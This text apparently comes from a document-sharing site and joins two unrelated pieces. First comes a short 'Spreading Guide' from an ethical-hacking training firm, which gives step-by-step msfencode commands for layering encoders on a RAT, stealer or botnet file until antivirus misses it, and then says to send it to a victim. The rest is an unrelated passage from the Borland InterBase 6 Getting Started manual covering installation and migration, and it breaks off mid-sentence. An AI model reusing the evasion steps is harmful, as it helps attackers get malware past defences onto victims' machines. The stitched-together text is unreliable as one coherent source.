Sie sind auf Seite 1von 339

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Spreading Guide

Spreading Guide

SECUGENIUS SECURITY SOLUTIONS


--------------------------------------------------------------------------------------

(A UNIT OF HARKSH TECHNOLOGIES PVT. LTD)

Company Profile:
Secugenius Security Solutions is a Student Entrepreneurial Company started by 2 Social Student
Entrepreneurs in 2010 with an aim to make our country Cyber Crime Free. We at SECUGENIUS
are headquartered at Ludhiana, the Manchester of Punjab. The main activities of Secugenius
Security Solutions are providing training in Information Security and various professional courses.
Secugenius Security Solutions is an organization which believes in inventing and implementing new
ideas to influence the technological minds of the youngsters
Looking at the number of Cyber Crimes since last many years, We at Secugenius Security
Solutions provides training on Ethical hacking & Cyber Security to students, IT Professionals, Bank
Employees, Police officials.
Secugenius conducts workshops in all parts of the country in various Colleges/institutions for the
benefit of the students & making them aware of the latest trends in technological era of the
Computer age. We believe in spreading knowledge to all the youngsters & growing minds of the
nation so that they could serve the nation with perfect skill-sets in the field of Cyber Crime
Investigation & Forensic Sciences
Secugenius provides various security solutions to its clients by securing their websites from cyber
attacks. We provide training to college students, graduates and professionals in various fields.
Education is delivered to students through two modes i.e. Regular mode and Distance mode which
are available as short term and long term courses.
In the workshops conducted by Secugenius, participants can claim to be trained by the highly
experienced & skilled corporate trainers from different parts of the nation. We believe in making
the base of students to be as strong as possible. All the modules have been designed in order to
provide students with specialized knowledge by specialized trainers.
This library was furnished, managed and funded by the Founders and Directors of Secugenius
Er. Harpreet Khattar & Er. Kshitij Adhlakha. The overall resource person for the content of
the series of this Digital Library is Er. Chetan Soni - Sr. Security Specialist, Secugenius Security
Solutions.

This Online Digital Library has been initiated as a free resource & permanent
resource on specialization basis for every student of Team Secugenius.

Make your Virus FUD Fully Undetectable without


any Crypters
Product ID No: SG/ODL/13047
Founder & Director: Harpreet Khattar & Kshitij Adhlakha
Resource Person: Chetan Soni & Navdeep Sethi
Secugenius Security Solutions
SCO-13A, Model Town Extn, Near Krishna Mandir,
Ludhiana-141002, Punjab India
support@secugenius.com, info@secugenius.com
www.secugenius.com , www.seculabs.in

Viruses - Viruses are the computer programs whose main purpose is


destroying the data on our systems. It may destroy unimportant data, or it
may decide to erase all of your important document folder and files.
Trojans - It refers to a program that appears as something you may think is
safe, but actually it is hidden inside is usually it is harmful and most probably,
it be a worm or a virus.

Requirements:-

1. Backtrack Operating System


2. MSF encoders
So, our first step is to create a virus file with any of the tools like RAT, stealers, botnets,
payload or anything.
To make it FUD (Fully Undetectable), we use backtrack operating system.
Before going to FUD check your file with ant viruses at virustotal.com and we get
detection ratio 36/44.

Now start terminal in Backtrack OS and go to the directory where you pasted your file.
E.g. cd Desktop
So our first step is to change the permissions of that file (775) by typing this command,
root@bt:~/Desktop# chmod 775 server.exe

Further type this command to encode your virus,


root@bt:~/Desktop# msfencode -i /root/Desktop/Server.exe
/root/Desktop/server2.exe -e x86/shikata_ga_nai -c 10

-t raw -o

Youll notice Antivirus still detected it even though we encoded it 10 times with
x86/shikata_ga_nai encoder.
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server2.exe

Now 2nd time, we use another encoder named as jmp_call_additive


root@bt:~/Desktop# msfencode -i /root/Desktop/Server2.exe -t raw -o
/root/Desktop/Server3.exe -e x86/jmp_call_additive -c 1

Now again change the permissions of this output file,


root@bt:~/Desktop# chmod 775 server3.exe

Now again we use another encoder named as call4_dword_xor


root@bt:~/Desktop# msfencode -i /root/Desktop/Server3.exe -t raw -o
/root/Desktop/Server4.exe -e x86/call4_dword_xor -c 1

Now again change the permissions of this output file,


root@bt:~/Desktop# chmod 775 server4.exe

Now final we encode again with this encoder shikata_ga_nai


root@bt:~/Desktop#
msfencode
-i
/root/Desktop/Server4.exe
/root/Desktop/final.exe -e x86/shikata_ga_nai -c 1

Now again change the permissions of this output file,


root@bt:~/Desktop# chmod 775 final.exe

-o

Now heres your final virus named as final.exe and upload it in virustotal.com and
youll see the results.

And as you'll notice, you have just bypassed anti-virus. Now all you have to do is send it
to the victim and keep enjoying.

InterBase 6

Getting Started

Borland

SOFTWARE CORPORATION

100 Enterprise Way, Scotts Valley, CA 95066 http://www.borland.com

March 5, 2001 (D:\Holly\temp\getstart\getstartedtitle.fm5)

Borland Software Corporation may have patents and/or pending patent applications covering subject matter in
this document. The furnishing of this document does not convey any license to these patents.
Copyright 2001 BorlandSoftware Corporation. All rights reserved. All InterBase and Borland products are
trademarks or registered trademarks of BorlandSoftware Corporation. Other brand and product names are
trademarks or registered trademarks of their respective holders.
1INT0060WW21000 21006
D4

TABLE OF CONTENTS

Table of Contents
CHAPTER 1

System Requirements
Disk space requirements . . . . . . . . . . . . . . . . . . . . . . . 5
Windows system requirements . . . . . . . . . . . . . . . . . . . . 6
UNIX system requirements . . . . . . . . . . . . . . . . . . . . . . 6
Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Solaris . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Requirements for other platforms . . . . . . . . . . . . . . . . . . 6

CHAPTER 2

Installation
Installing InterBase on Windows

. . . . . . . . . . . . . . . . . .7

Installing InterBase on Windows . . . . . . . . . . . . . . . 8


Configuring InterBase . . . . . . . . . . . . . . . . . . . . . 8
Logging on . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Uninstalling InterBase on Windows . . . . . . . . . . . . . 9
Installation on UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Preparing to install on UNIX . . . . . . . . . . . . . . . . . 10
Installing on Solaris . . . . . . . . . . . . . . . . . . . . . . 10
Installing on Linux . . . . . . . . . . . . . . . . . . . . . . . 13
Running multiple versions on UNIX . . . . . . . . . . . . . 16
Uninstalling InterBase on UNIX . . . . . . . . . . . . . . . 16
Installing and accessing InterBase documentation . . . . . . . 17
Full-text searching . . . . . . . . . . . . . . . . . . . . . . . 17
Links . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Installing Acrobat Reader With Search . . . . . . . . . . . 18
CHAPTER 3

Migrating to InterBase 6
Migration process . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Migration Issues . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
InterBase 6 SQL dialects . . . . . . . . . . . . . . . . . . . 20
Servers, databases, and ODS 10 . . . . . . . . . . . . . . . 20
Clients and databases . . . . . . . . . . . . . . . . . . . . . 21

iii

Keywords used as identifiers . . . . . . . . . . . . . . . . . 21


Understanding SQL dialects . . . . . . . . . . . . . . . . . . 22
Setting SQL dialects . . . . . . . . . . . . . . . . . . . . . . . . . 23
Setting isql client dialect . . . . . . . . . . . . . . . . . . . . 23
Setting the gpre client dialect . . . . . . . . . . . . . . . . . 24
Setting the gfix client dialect . . . . . . . . . . . . . . . . . 25
New features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Features available in all dialects . . . . . . . . . . . . . . . 25
Features available only in dialect 3 databases . . . . . . . 26
New keywords . . . . . . . . . . . . . . . . . . . . . . . . . 27
Delimited identifiers . . . . . . . . . . . . . . . . . . . . . . 28
DATE, TIME, and TIMESTAMP datatypes . . . . . . . . . . . 29
DECIMAL and NUMERIC datatypes . . . . . . . . . . . . . . 37
Compiled objects . . . . . . . . . . . . . . . . . . . . . . . . 38
Generators . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Miscellaneous issues . . . . . . . . . . . . . . . . . . . . . . 39
Migrating servers and databases . . . . . . . . . . . . . . . . . . 40
In-place server migration . . . . . . . . . . . . . . . . . . 40
Migrating to a new server . . . . . . . . . . . . . . . . . . . 42
About InterBase 6, dialect 1 databases . . . . . . . . . . . 43
Migrating databases to dialect 3 . . . . . . . . . . . . . . . . . . 43
Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
Method one: in-place migration . . . . . . . . . . . . . . . 44
Method two: migrating to a new database . . . . . . . . . 49
Migrating clients . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
IBReplicator migration issues . . . . . . . . . . . . . . . . . . . 53
Migrating data from other DBMS products . . . . . . . . . . . . 53

iv

INTERBASE 6

CHAPTER

System Requirements

Chapter1

InterBase Server runs on a variety of platforms, including Microsoft Windows NT 4.0,


Windows 2000, Windows 98/ME, and several UNIX/Linux operating systems.
The InterBase server software makes efficient use of system resources on the server node;
the server process uses little more than 1.9MB of memory. Typically, each client
connection to the server adds approximately 115KB of memory. This varies based on the
nature of the client applications and the database design, so this figure is only a baseline
for comparison.
The InterBase client also runs on any of these operating systems. In addition, InterBase
provides the InterClient Java client interface using the JDBC standard for database
connectivity. Client applications written in Java can run on any client platform that
supports Java, even if InterBase does not explicitly list it among its supported platforms.
Examples include Macintosh and Internet appliances with embedded Java capabilities.

Disk space requirements


InterBase requires 35 MB for a full install that includes InterBase Server and Client, Adobe
Acrobat Reader, and the full document set. 17MB for InterBase Server and Client alone.
During operation, InterBases sorting routine requires additional disk space as scratch
space. The amount of space depends on the volume and type of data the server is
requested to sort.

CHAPTER 1 SYSTEM REQUIREMENTS

Windows system requirements


Operating system: Windows NT 4.0 with Service Pack 6a, Windows 98, Windows ME, or
Windows 2000 Service Pack 1
Memory: 16 megabytes minimum; 64 recommended for a server
Processor/Hardware model: 486DX2 66MHz minimum; Pentium 100MHz or greater
recommended for a multiclient server
Compiler: Microsoft Visual C++ 4.2 (or later) or Borland C++ Builder 4.0 (or later)

UNIX system requirements


Linux
Operating system: RedHat 6.2 or 7.0; TurboLinux 6.0; SuSe 7.0; Mandrake 7.2
Memory: 32 megabytes minimum; 64 recommended for a server
Processor/Hardware Model: Intel 486 or higher
Compiler: GCC or G++

Solaris
Operating system: Solaris 2.6 or 2.7
Memory: 32 megabytes minimum; 64 recommended for a server
Processor/Hardware Model: SPARC or UltraSPARC
C Compiler: SPARCWorks SC 4.2 C compiler
C++ Compiler: SPARCWorks SC 3.0.1. C++ compiler
Note InterBase on Solaris uses a OS-specific install utility called pkgadd. Install the Solaris

software using the setup.ksh script.

Requirements for other platforms


Refer to online sources of information, including release notes included on your product
media and the Borland web site, for more information on supported platforms, operating
systems, and compilers.
6

INTERBASE 6

INSTALLING INTERBASE ON WINDOWS

CHAPTER

Installation

Chapter2

This chapter contains detailed instructions for installing InterBase on Windows 98/ME,
Windows NT, Windows 2000, Linux, and Solaris.
InterBase might install differently on other platforms due to operating system
requirements. Refer to installation notes included in the software package, on the media,
or on the Borland web site (http://www.borland.com/interbase) for platform-specific
installation instructions.

Installing InterBase on Windows


By default, InterBase files are installed in c:\Program Files\InterBase on Windows
platforms. You can use the INTERBASE environment variable to change this location. See
the Operations Guide for information about setting environment variables.

IMPORTANT

You cannot install InterBase onto a network (mapped) drive.

CHAPTER 2 INSTALLATION

Installing InterBase on Windows


1. If you are installing InterBase 6 on a system running Windows NT or
Windows 2000, log in as a user with Administrator privileges.
2. If InterBase 5.6 or earlier is present on the system:
- Backup all InterBase databases. This is a required step.
- Stop the InterBase server.
- Use Control Panel | Add/Remove Programs to uninstall any previous versions of
InterBase.
Note Please see the Migration section of this manual for a detailed explanation of the

decisions and steps required in migrating databases from InterBase 5 to InterBase 6.


3. If the file gds32.dll is present on the hard disk, delete the file; the uninstall
step does not remove this file and only one version of this file can exist on
the disk.
4. Insert the InterBase 6 distribution CD-ROM into the CD drive.
5. If Autoplay does not start the installation process, run setup.exe from the
root directory of the CD-ROM.
6. Follow the directions on screen.

Configuring InterBase
You can control many aspects of how InterBase runs, including server and database
configurations, backup and restore, and database replication. See the Operations Guide
for information on these topics.

Logging on
To attach to any database, you must have a user name and password. When you first
install InterBase, there is one user defined: SYSDBA. The password is masterkey. SYSDBA
has special privileges that override normal SQL security, and there are database
maintenance tasks that only SYSDBA can perform. You should change the SYSDBA
password immediately after installing InterBase.
Use IBConsole or the gsec utility to change a password and create additional users. For
more information see the IBConsole online help or the Operations Guide.

INTERBASE 6

INSTALLATION ON UNIX

Uninstalling InterBase on Windows


To uninstall InterBase and InterBase Express, use Control Panel | Add/Remove Programs. Choose
InterBase or InterBase Documentation, and click Add/Remove.
InterBase documentation is removed when the InterBase Client or Server is uninstalled.


The InterBase Server, Guardian, and InterServer processes must not be running when you
uninstall the software. To stop one of these applications, right-click its icon in the Task
Tray and selecting Shutdown. To stop one of these services (Windows NT/2000), use the
Control Panel | Services applet.

You must be logged in as a user with Administrator privileges to install or uninstall


InterBase on Windows NT/2000.

Uninstall never removes isc4.gdb or files created by the server process, including
interbase.log, host.evn, host.lck.

The Windows InterBase installation allows you to choose between performing a complete
install or selecting individual components. If you choose to install components at
different times, the uninstall program removes only the components selected for the last
install.

The ODBC driver or the ODBC driver manager must be removed manually; there is no
uninstall available through the Windows control panel.

Installation on UNIX
This section provides instructions for installing InterBase 6 on Solaris and Linux. For
platform-specific instruction on installing InterBase on other UNIX brands, see the
InterBase web site (http://www.borland.com/interbase).
By default, InterBase files are installed in /opt/interbase. On the Solaris platform, the
install program still creates a symbolic link from /usr/interbase to /opt/interbase. On
Linux, there is no symbolic link from /usr/interbase to an actual install directory. You
can use the INTERBASE environment variable to change this location. See the Operations
Guide for information about setting environment variables.

CHAPTER 2 INSTALLATION

Preparing to install on UNIX


1. Save older databases
InterBase 6 uses a new On-Disk Structure (ODS), ODS 10. Databases created with
InterBase 5 used ODS 9.1. To take advantage of new InterBase 6 features, you must
use gbak to back up any databases that you intend to use with the Version 6 software.
V5 databases can be backed up using V5 gbak or with the InterBase 6 gbak if you are
performing the backup after the install. Once a database has been converted to ODS
10, it cannot be converted back to earlier versions of the ODS. For more information,
refer to the Migration chapter.
2. Save customization files
If you have InterBase 5 installed on the server and you want to preserve the
customization files, copy them to a safe place, for example:
gbak b /usr/interbase/isc4.gdb /var/tmp/isc4.gbak
cp /usr/interbase/isc_license.dat /var/tmp
cp /usr/interbase/isc_config /var/tmp

You can skip this step if you haven't customized these files in a previous installation.
Note When you use pkgrm remove InterBase V5 for Solaris, these files are

automatically saved in /usr/tmp.


3. Save older versions
If InterBase 5 is running on your server, shut it down. To save the current version,
rename the directory, for example:
ibmgr -shut -user sysdba -password password
mv /usr/interbase /usr/interbase.save

4. Point to the install directory


If you install into a directory other than /opt/interbase on Solaris, the install program
creates a symbolic link from /usr/interbase to that directory. If you install into a directory
other than /opt/interbase on Linux, the install program creates a symbolic link from
/opt/interbase to that directory.

Installing on Solaris
InterBase requires Solaris versions 2.6.x. or 7. These instructions are for both server and
client installations:

10

INTERBASE 6

INSTALLATION ON UNIX

1. Log in to your database server as root.


2. Load the CD-ROM with the InterBase 6 product. Mount the CD-ROM at an
appropriate mount point. If you have the volume manager running, this is
done for you, and the CD-ROM mounts according to its label. For instance
/cdrom/interbase_sos_V6 for the CD-ROM of InterBase 6 for Solaris.
3. Run setup.ksh. setup.ksh brings up the following menu:
1.Install InterBase Client and Server software
2.Install InterBase Client Only software
3.Install Adobe Acrobat Reader software
4.Exit
Enter selection.(default 1) [1-4]

The following sections describe these options

 Installing InterBase Client and Server on Solaris


When you select Install InterBase Client and Server software from the menu, the setup
script displays the following messages and starts the pkgadd utility:
Starting InterBase Client and Server Install, please wait...
set NONABI_SCRIPTS=TRUE
export NONABI_SCRIPTS
pkgadd -d CDROM_DIR/Interbase6.0_ClientServerpkg
The following packages are available:
1 interbase InterBase RDBMS Software
(sparc) InterBase Version 6.0
Select package(s) you wish to process (or all to process
all packages). (default: all) [?,??,q]:

1. Press u to choose the Install InterBase default.


Processing package instance <interbase> from
</cdrom/interbase_SOS_V6>
InterBase RDBMS Software
(sparc) InterBase Version 6.0
Enter the absolute pathname of the install directory
(default /usr) [?,q]

2. Press u to accept the default or type in the pathname in which to create


the interbase directory.
Using </usr> as the package base directory.

11

CHAPTER 2 INSTALLATION

##
##
##
##
##

Processing package information.


Processing system information.
Verifying disk space requirements.
Checking for conflicts with packages already installed.
Checking for setuid/setgid programs.

This package contains scripts which will be executed with superuser


permission during the process of installing this package.
Do you want to continue with the installation of <interbase> [y,n,?]

3. Choose y. The installation script must have superuser privilege to modify


system files and create symbolic links.
Installing InterBase RDBMS Software as <interbase>
## Installing part 1 of 1.
/usr/interbase/install.txt
/usr/interbase/Release_Notes.pdf
. . .
[ verifying class <none> ]
## Executing postinstall script.
. . .

The InterBase install script looks for the InterClient installation script on the CD-ROM,
and runs it if possible. See Uninstalling InterBase on UNIX on page 16.
Thereafter, the install script returns to pkgadd:
Installation of <interbase> was successful.
The following packages are available:
1 interbase InterBase RDBMS Software
(sparc) InterBase Version 6.0
Select package(s) you wish to process (or all to process
all packages). (default: all) [?,??,q]:

4. Choose q. There is only one package to install using pkgadd.


5. If you saved customization files, restore them now with the ones you backed
up before installing InterBase 6. For example:
# cp /tmp/isc_config /usr/interbase

6. If you intend to run the ibserver daemon as a user other than root, create a
UNIX user account named interbase on your machine. Log in as this user
before starting the SuperServer with the ibmgr utility.

12

INTERBASE 6

INSTALLATION ON UNIX

Note We recommend that you create an interbase user account and use this account

for all database maintenance; this will make tasks such as backup and restore run much
more smoothly.
7. Execute the following command to start the InterBase Server:
# echo /usr/interbase/bin/ibmgr start forever | su interbase

This starts the SuperServer daemon (ibserver) and a guardian (ibguard) program that
keeps track of ibserver.
8. Now that the server is running, you can restore the security database with the
ones you backed up before installing InterBase 6:
# gbak r /tmp/isc4.gbak jupiter:/usr/interbase/isc4.gdb

9. To test your existing databases with InterBase 6, use gbak to restore the
backup files you created before upgrading.

Installing on Linux
For both the SuperServer and Classic versions of InterBase, default installation directories
on Linux are as follows:
/opt/interbase

executables

/usr/lib

libraries

/usr/include

header files

InterBase SuperServer for Linux requires glibc (libc6) Version 2.1. InterBase does not
work with the older Version 2.0 library.

 Installing with Red Hat Package manager (RPM)


1. Log into your datase server as root.
2. Uninstall any previous versions of InterBase.
3. Install InterBase 6 using the RPM utility, for example:
rpm -i interbase-6.0-1.i386.rpm

4. Check that /etc/hosts contains the following line:


127.0.0.1 localhost

5. Check that /etc/hosts.equiv exists on the system and contains localhost. If


the file already exists but does not contain localhost, edit the file to add it.
If /etc/hosts.equiv does not exist, create it as follows:

13

CHAPTER 2 INSTALLATION

echo localhost > /etc/hosts.equiv

IMPORTANT

If /etc/hosts.equiv already exists on the system, then the command above will
overwrite your current file, and all the information that was in it will be lost.
6. To test SuperServer installations do the following:
- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

- Start the isql utility and connect to the example database:


isql localhost:/opt/interbase/examples/employee.gdb

7. To test Classic installations do the following:


- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

Note The Classic architecture permits application processes to perform I/O on database

files directly, whereas SuperServer requires applications to request the ibserver I/O
operations by proxy, using a network method. The local access method is only usable by
applications that run on the same host as the database. Thus we need to test both local
and remote access for Classic servers.
- To test local access, start isql locally and connect to the example database:
isql /opt/interbase/examples/employee.gdb

- To test remote access, start the isql utility and connect to the example database:
isql localhost:/opt/interbase/examples/employee.gdb

 Installing from a tar file


1. Log into your database server as root.
2. Uninstall any previous versions of InterBase.
3. Extract the install script and the InterBase kit using the tar utility, for
example:
tar xvf InterBaseSS_LI-B6.0.tar

4. Run the install script, for example:


./install /tmp/InterBase_LI-V6.0.tgz

14

INTERBASE 6

INSTALLATION ON UNIX

5. Check that /etc/hosts contains the following line:


127.0.0.1 localhost

6. Check that /etc/hosts.equiv exists on the system and contains localhost. If


the file already exists but does not contain localhost, edit the file to add it.
If /etc/hosts.equiv does not exist, create it as follows:
echo localhost > /etc/hosts.equiv

IMPORTANT

If /etc/hosts.equiv already exists on the system, then the command above will
overwrite your current file, and all the information that was in it will be lost.
7. To test SuperServer installations do the following:
- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

- Start the isql utility and connect to the example database:


isql localhost:/opt/interbase/examples/employee.gdb

8. To test Classic installations do the following:


- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

Note The Classic architecture permits application processes to perform I/O on database

files directly, whereas SuperServer requires applications to request the ibserver I/O
operations by proxy, using a network method. The local access method is only usable by
applications that run on the same host as the database. Thus we need to test both local
and remote access for Classic servers.
- To test local access, start isql locally and connect to the example database:
isql /opt/interbase/examples/employee.gdb

- To test remote access, start the isql utility and connect to the example database:
isql localhost:/opt/interbase/examples/employee.gdb

Note Change all instances of /usr/interbase to /opt/interbase.

15

CHAPTER 2 INSTALLATION

Running multiple versions on UNIX


We support both SuperServer and Classic architectures on Linux, and you can switch
between versions of the same architecture as well as different architectures on the same
host. To start a specific version, start the server in the directory to which the symbolic
link points. To start the server daemon, follow the steps in UNIX daemon in the
Operations Guide.

Uninstalling InterBase on UNIX


On Solaris, use pkgrm to remove the InterBase 6 package:
# pkgrm interbase

On Linux, if InterBase was installed using RPM, use RPM to uninstall InterBase, for
example:
rpm -e NameofInterBasePackage
On Linux, if InterBase was installed using a tar file, follow these steps to uninstall
InterBase.


SuperServer:
1. If ibserver is running, use the following command to shut down the server:
ibmgr -shut -pass password

2. Copy the ibinstall.log file from the InterBase install directory


(/opt/interbase) to /tmp.
3. Delete the InterBase install directory.
4. Remove all the InterBase files from the /usr/lib and /usr/include
directories; see /tmp/ibinstall.log for the list of files.
5. Remove the InterBase entry from /etc/services; see /tmp/ibinstall.log for
the InterBase entry.


Classic:
1. If gds_lock_mgr is running, use the following command to shut down the
lock manager:
gds_drop -s

2. Copy the ibinstall.log file from the InterBase install directory


(/opt/interbase) to /tmp.
3. Delete the InterBase install directory.

16

INTERBASE 6

INSTALLING AND ACCESSING INTERBASE DOCUMENTATION

4. Remove all the InterBase files from the /usr/lib, /usr/local/sbin, and
/usr/include directories; see /tmp/ibinstall.log for the list of files.
5. Remove the InterBase entry from /etc/inetd.conf; see /tmp/ibinstall.log for
the InterBase entry.
6. Find the inetd process id in /var/run/inetd.pid and send the signal SIGHUP
to the inetd process to tell it to re-read the configuration file and not listen
on port 3050 (gds_db) any more.
7. Remove the InterBase entry from /etc/services; see /tmp/ibinstall.log for
the InterBase entry.

Installing and accessing InterBase documentation


You can install the InterBase documentation in PDF form on your hard drive; this requires
about 24 MB of disk space. Or, you can install shortcuts to the documentation, in which
case you must insert the InterBase CD-ROM each time you want to refer to the
documentation.
You need Adobe Acrobat Reader With Search to view and search the documentation. The
InterBase CD-ROM includes Acrobat Reader With Search (English version) of UNIX and
Windows platforms. The files are in subdirectories of the /Adobe directory on the
InterBase CD-ROM.
To access all of the books from a single document, open 2AllBooks.pdf. It contains links to
the rest of the document set.
The InterBase document set consists of the API Guide, the Data Definition Guide, the
Developers Guide, the Embedded SQL Guide (formerly the Programmers Guide),
Getting Started, the Language Reference, the Operations Guide, and Release Notes.

Full-text searching
The document set has been indexed for full-text searching. If you are viewing the
documents using Acrobat Reader With Search, you can enter a query and receive a list of
hits from all five books in the InterBase document set.
To use full-text searching, click the
button and search for a word or phrase. Acrobat
Reader returns a list of books that contain the phrase. Choose the book you want to start
looking in to display the first instance. You then use the
and
buttons to step
forward and back through instances of your search target. Reader moves from one book
to the next. To go to a different book at will, click the
button to display the found
list.

17

CHAPTER 2 INSTALLATION

Note that full-text searching is not the same as Find (


current document.
Tip

), which searches only the

On UNIX and Linux, always open documents using an absolute pathname to the PDF
file, to make Acrobat Reader With Search associate the index with the PDF document
correctly.

Links
The PDF documentation set contains many hypertext links that take you to referenced
points in the document with a single click. In addition, the Table of Contents and Index
entries are hypertext links and therefore are clickable. Throughout the document set,
clickable links appear bold and green.

Installing Acrobat Reader With Search


On Windows

You can install Acrobat Reader 3.01 With Search by choosing Install Adobe Acrobat
Reader 3.0 from the InterBase Launcher. You can also install it directly by running
setup.exe from the /Adobe directory of the InterBase CD-ROM.
On UNIX

The InterBase CD-ROM includes Acrobat Reader With Search for both the UNIX platform
and for Windows. The files are in subdirectories of the /Adobe directory on the InterBase
CD-ROM. Read instguid.txt in the /Adobe/UNIX platform directory for UNIX installation
instructions. To install on a Windows platform, run setup.exe in the /Adobe/Windows
directory.
From the Adobe website

If you dont have the InterBase CD-ROM handy, you can get Acrobat Reader for free from
the Adobe website. Its at http://www.adobe.com/products/acrobat. Check the box next to
Include option for searching PDF files... to download Acrobat Reader With Search, not
the plain Acrobat Reader.

18

INTERBASE 6

CHAPTER

Migrating to InterBase 6

Chapter3

This chapter describes how to plan and execute a smooth migration from earlier versions
of InterBase to InterBase 6. Topics in this chapter include:


Migration issues: on-disk structure and dialects

Migration paths

Delphi, C++ Builder and InterBase 6: BDE and IBX


Note See the Release Notes for a detailed introduction to new InterBase features.

Migration process
These are the steps you must take to migrate servers, databases, and clients. Each is
discussed in detail in later sections:


Server and database migration


1. Backup all databases to be migrated
2. Install the InterBase 6 server
3. Restore databases to be migrated; at this point, you have dialect 1 databases
4. Validate migrated databases
5. Migrate databases to SQL dialect 3 (see pages 43 to 51)

19

CHAPTER 3 MIGRATING TO INTERBASE 6

Client migration
1. Identify the clients that must be upgraded to InterBase 6
2. Identify areas in your application which may need upgrading
3. Install the InterBase 6 client to each machine that requires it
4. Upgrade SQL applications to SQL dialect 3

Migration Issues
Before migrating your databases, you need to learn about InterBase 6 SQL dialects and
understand their effect on servers, clients, and the use of new InterBase 6 features.

InterBase 6 SQL dialects


InterBase recognizes different client and database dialects to allow users more mobility
in how their legacy databases are used, accessed, and updated. In InterBase 6, each client
and database has an SQL dialect: an indicator that instructs an InterBase 6 server how to
interpret transition features: those features whose meanings have changed between
InterBase versions. The following transition features have different meanings based on
the dialect used by the client applications:


Double quote (): changed from a synonym for the single quote () to the delimiter for
an object name

DECIMAL and NUMERIC datatypes with precision greater than 9: now stored as INT64
datatypes instead of DOUBLE PRECISION

DATE, TIME, and TIMESTAMP datatypes: DATE has changed from a 64-bit quantity containing

both date and time information to a 32-bit quantity containing only date information.
TIME is a 32-bit quantity containing only time information, while TIMESTAMP is a 64-bit
quantity containing both date and time information (the same as DATE in pre-Version 6
SQL).

Servers, databases, and ODS 10


InterBase 6 databases are stored in the ODS 10 data format. This format is
backward-compatible with older formats.


20

If you upgrade a server to InterBase 6, you have the option to migrate the databases that
it accesses to InterBase 6 as well.

INTERBASE 6

MIGRATION ISSUES

If you do not upgrade a server, you do not need to migrate the databases that it accesses.
InterBase 5 and older servers can access InterBase 6 databases.

Clients and databases


Clients and databases each have dialects. Servers do not themselves have a dialect, but
they interpret data structures and client requests based on the dialect of each.
Applications using an older version of the InterBase client work with the InterBase 6
server and its databases with some restrictions:


Version 5 clients cannot access dialect 3 columns that are stored as INT64, TIME, or DATE.
(DECIMAL and NUMERIC columns with precision greater than 9 are stored as INT64.)

Version 5 clients cannot display new datatypes in metadata using the SHOW command, or
any equivalent.

Version 5 clients interpret the DATE datatype as TIMESTAMP, since that was the definition
of DATE prior to InterBase 6.

Version 5 clients cannot access any object named with a delimited identifiers.

Clients that use the Borland Database Engine (BDE) to access an InterBase 6.0 server are
not able to access any of the new field type regardless of the version of the InterBase
client installed.

Keywords used as identifiers


Version 5 clients have one advantage over version 6 clients: If you migrate an older
database that uses some of the new version 6 keywords as identifiers to version 6 dialect
1, these older version 5 clients can still access those keyword objects. Version 6 dialect 1
cannot do so. Dialect 3 clients can access these keyword objects if they are delimited in
double quotes.
If version 5 clients use any of the new InterBase 6 keywords as object names, the
InterBase 6 server permits this without error because it recognizes that these clients were
created at a time when these were not keywords.
Example

For example, the following statement uses the new keyword word TIME:
SELECT TIME FROM atable;

This statement, when executed via a pre-InterBase 6 client returns the information as it
did in previous versions. If this same query is issued using a version 6 client, an error is
returned since TIME is now a reserved word. See page 27 for a list of new keywords.

21

CHAPTER 3 MIGRATING TO INTERBASE 6

Understanding SQL dialects


Below are explanations of server and client behavior with SQL dialects 1, 2, and 3.

 Dialect 1 clients and databases


In dialect 1, the InterBase 6 server interprets transition features just like an InterBase 5
server:


Double quoted text is interpreted as a string literal. Delimited identifiers are not available.

The DATE datatype contains both time and date information and is interpreted as
TIMESTAMP; the name has changed but the meaning has not. Dialect 1 clients expect the
entire timestamp to be returned. In dialect 1, DATE and TIMESTAMP are identical.

The TIME datatype is not available.

Dialect 1 databases store DECIMAL and NUMERIC datatypes with precision greater than 9
as DOUBLE PRECISION, not INT64. In clients: The dialect 1 client expects information stored
in these datatypes to be returned as double precision; such clients cannot create database
fields to hold 64-bit integers.
An InterBase 6 server recognizes all the other InterBase 6 features in dialect 1 clients and
databases.

 Dialect 2 clients
Dialect 2 is available only on the client side. It is intended for assessing possible problems
in legacy metadata that is being migrated to dialect 3. To determine where the problem
spots are when you migrate a database from dialect 1 to dialect 3, you extract the
metadata from the database, set isql to dialect 2, and then run that metadata file through
isql. isql issues warning whenever it encounters double quotes, DATE datatypes, or large
exact numerics to alert you to places where you might need to change the metadata in
order to make a successful migration to dialect 3.
To detect problem areas in the metadata of a database that you are migrating, extract the
metadata and run it through a dialect 2 client, which will report all instances of transition
features. For example:
isql -i v5metadata.sql

Do not assign dialect 2 to databases.

 Dialect 3 clients and databases


In dialect 3, the InterBase server interprets transition features as InterBase 6 SQL
92-compliant:


22

Double quoted strings are treated as delimited identifiers.

INTERBASE 6

SETTING SQL DIALECTS

Dialect 3 DATE datatype fields contain only date information. Dialect 3 clients expect only
date information from a field of datatype DATE.

The TIME datatype is available, and stores only time information.

Dialect 3 databases store DECIMAL and NUMERIC datatypes with precision greater than 9
as INT64 if and only if they are in columns that were created in dialect 3. Dialect 3 clients
expect DECIMAL and NUMERIC datatypes with precision greater than 9 to be returned as
INT64. (To learn how to migrate older data to INT64 storage, see Migrating databases to
